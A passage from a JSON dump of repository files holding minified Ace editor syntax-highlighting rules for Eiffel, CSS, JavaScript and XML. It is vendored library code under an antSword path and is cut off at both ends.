\/[~\\/]?|[><\\/]=?|[-+*^=~]/},{token:function(e){var t=s(e);return t===\"identifier\"&&e===e.toUpperCase()&&(t=\"entity.name.type\"),t},regex:/[a-zA-Z][a-zA-Z\\d_]*\\b/},{token:\"text\",regex:/\\s+/}],aligned_verbatim_string:[{token:\"string\",regex:/]\"/,next:\"start\"},{token:\"string\",regex:o}],\"non-aligned_verbatim_string\":[{token:\"string.quoted.other\",regex:/}\"/,next:\"start\"},{token:\"string.quoted.other\",regex:o}]}};r.inherits(s,i),t.EiffelHighlightRules=s}),ace.define(\"ace/mode/eiffel\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/eiffel_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./eiffel_highlight_rules\").EiffelHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.$id=\"ace/mode/eiffel\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-ejs.js",
    "content": "ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.